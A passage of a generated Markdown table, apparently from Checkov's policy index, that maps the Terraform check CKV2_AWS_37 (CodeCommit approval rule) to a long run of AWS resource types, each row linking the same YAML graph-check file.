| CKV2_AWS_37 | resource | aws_macie_s3_bucket_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1793 | CKV2_AWS_37 | resource | aws_main_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1794 | CKV2_AWS_37 | resource | aws_media_convert_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1795 | CKV2_AWS_37 | resource | aws_media_package_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1796 | CKV2_AWS_37 | resource | aws_media_packagev2_channel_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1797 | CKV2_AWS_37 | resource | aws_media_store_container | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1798 | CKV2_AWS_37 | resource | aws_media_store_container_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1799 | CKV2_AWS_37 | resource | aws_medialive_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1800 | CKV2_AWS_37 | resource | aws_medialive_input | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1801 | CKV2_AWS_37 | resource | aws_medialive_input_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1802 | CKV2_AWS_37 | resource | aws_medialive_multiplex | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1803 | CKV2_AWS_37 | resource | aws_medialive_multiplex_program | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1804 | CKV2_AWS_37 | resource | aws_memorydb_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1805 | CKV2_AWS_37 | resource | aws_memorydb_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1806 | CKV2_AWS_37 | resource | aws_memorydb_multi_region_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1807 | CKV2_AWS_37 | resource | aws_memorydb_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1808 | CKV2_AWS_37 | resource | aws_memorydb_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1809 | CKV2_AWS_37 | resource | aws_memorydb_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1810 | CKV2_AWS_37 | resource | aws_memorydb_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1811 | CKV2_AWS_37 | resource | aws_mq_broker | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1812 | CKV2_AWS_37 | resource | aws_mq_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1813 | CKV2_AWS_37 | resource | aws_msk_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1814 | CKV2_AWS_37 | resource | aws_msk_cluster_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1815 | CKV2_AWS_37 | resource | aws_msk_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1816 | CKV2_AWS_37 | resource | aws_msk_replicator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1817 | CKV2_AWS_37 | resource | aws_msk_scram_secret_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1818 | CKV2_AWS_37 | resource | aws_msk_serverless_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1819 | CKV2_AWS_37 | resource | aws_msk_single_scram_secret_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1820 | CKV2_AWS_37 | resource | aws_msk_vpc_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1821 | CKV2_AWS_37 | resource | aws_mskconnect_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1822 | CKV2_AWS_37 | resource | aws_mskconnect_custom_plugin | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1823 | CKV2_AWS_37 | resource | aws_mskconnect_worker_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1824 | CKV2_AWS_37 | resource | aws_mwaa_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1825 | CKV2_AWS_37 | resource | aws_nat_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1826 | CKV2_AWS_37 | resource | aws_neptune_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1827 | CKV2_AWS_37 | resource | aws_neptune_cluster_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1828 | CKV2_AWS_37 | resource | aws_neptune_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1829 | CKV2_AWS_37 | resource | aws_neptune_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1830 | CKV2_AWS_37 | resource | aws_neptune_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1831 | CKV2_AWS_37 | resource | aws_neptune_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1832 | CKV2_AWS_37 | resource | aws_neptune_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1833 | CKV2_AWS_37 | resource | aws_neptune_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1834 | CKV2_AWS_37 | resource | aws_neptune_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1835 | CKV2_AWS_37 | resource | aws_network_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1836 | CKV2_AWS_37 | resource | aws_network_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1837 | CKV2_AWS_37 | resource | aws_network_acl_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1838 | CKV2_AWS_37 | resource | aws_network_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1839 | CKV2_AWS_37 | resource | aws_network_interface_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1840 | CKV2_AWS_37 | resource | aws_network_interface_sg_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1841 | CKV2_AWS_37 | resource | aws_networkfirewall_firewall | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1842 | CKV2_AWS_37 | resource | aws_networkfirewall_firewall_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1843 | CKV2_AWS_37 | resource | aws_networkfirewall_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1844 | CKV2_AWS_37 | resource | aws_networkfirewall_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1845 | CKV2_AWS_37 | resource | aws_networkfirewall_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1846 | CKV2_AWS_37 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1847 | CKV2_AWS_37 | resource | aws_networkmanager_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1848 | CKV2_AWS_37 | resource | aws_networkmanager_connect_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1849 | CKV2_AWS_37 | resource | aws_networkmanager_connect_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1850 | CKV2_AWS_37 | resource | aws_networkmanager_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1851 | CKV2_AWS_37 | resource | aws_networkmanager_core_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1852 | CKV2_AWS_37 | resource | aws_networkmanager_core_network_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1853 | CKV2_AWS_37 | resource | aws_networkmanager_customer_gateway_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1854 | CKV2_AWS_37 | resource | aws_networkmanager_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1855 | CKV2_AWS_37 | resource | aws_networkmanager_dx_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1856 | CKV2_AWS_37 | resource | aws_networkmanager_global_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1857 | CKV2_AWS_37 | resource | aws_networkmanager_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1858 | CKV2_AWS_37 | resource | aws_networkmanager_link_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1859 | CKV2_AWS_37 | resource | aws_networkmanager_site | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1860 | CKV2_AWS_37 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1861 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1862 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_peering | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1863 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1864 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1865 | CKV2_AWS_37 | resource | aws_networkmanager_vpc_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1866 | CKV2_AWS_37 | resource | aws_networkmonitor_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1867 | CKV2_AWS_37 | resource | aws_networkmonitor_probe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1868 | CKV2_AWS_37 | resource | aws_oam_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1869 | CKV2_AWS_37 | resource | aws_oam_sink | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1870 | CKV2_AWS_37 | resource | aws_oam_sink_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1871 | CKV2_AWS_37 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1872 | CKV2_AWS_37 | resource | aws_opensearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1873 | CKV2_AWS_37 | resource | aws_opensearch_domain_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1874 | CKV2_AWS_37 | resource | aws_opensearch_domain_saml_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1875 | CKV2_AWS_37 | resource | aws_opensearch_inbound_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1876 | CKV2_AWS_37 | resource | aws_opensearch_outbound_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1877 | CKV2_AWS_37 | resource | aws_opensearch_package | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1878 | CKV2_AWS_37 | resource | aws_opensearch_package_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1879 | CKV2_AWS_37 | resource | aws_opensearch_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1880 | CKV2_AWS_37 | resource | aws_opensearchserverless_access_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1881 | CKV2_AWS_37 | resource | aws_opensearchserverless_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1882 | CKV2_AWS_37 | resource | aws_opensearchserverless_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1883 | CKV2_AWS_37 | resource | aws_opensearchserverless_security_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1884 | CKV2_AWS_37 | resource | aws_opensearchserverless_security_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1885 | CKV2_AWS_37 | resource | aws_opensearchserverless_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1886 | CKV2_AWS_37 | resource | aws_opsworks_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1887 | CKV2_AWS_37 | resource | aws_opsworks_custom_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1888 | CKV2_AWS_37 | resource | aws_opsworks_ecs_cluster_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1889 | CKV2_AWS_37 | resource | aws_opsworks_ganglia_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1890 | CKV2_AWS_37 | resource | aws_opsworks_haproxy_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1891 | CKV2_AWS_37 | resource | aws_opsworks_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1892 | CKV2_AWS_37 | resource | aws_opsworks_java_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1893 | CKV2_AWS_37 | resource | aws_opsworks_memcached_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1894 | CKV2_AWS_37 | resource | aws_opsworks_mysql_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1895 | CKV2_AWS_37 | resource | aws_opsworks_nodejs_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1896 | CKV2_AWS_37 | resource | aws_opsworks_permission | Ensure CodeCommit associates an approval rule | Terraform | 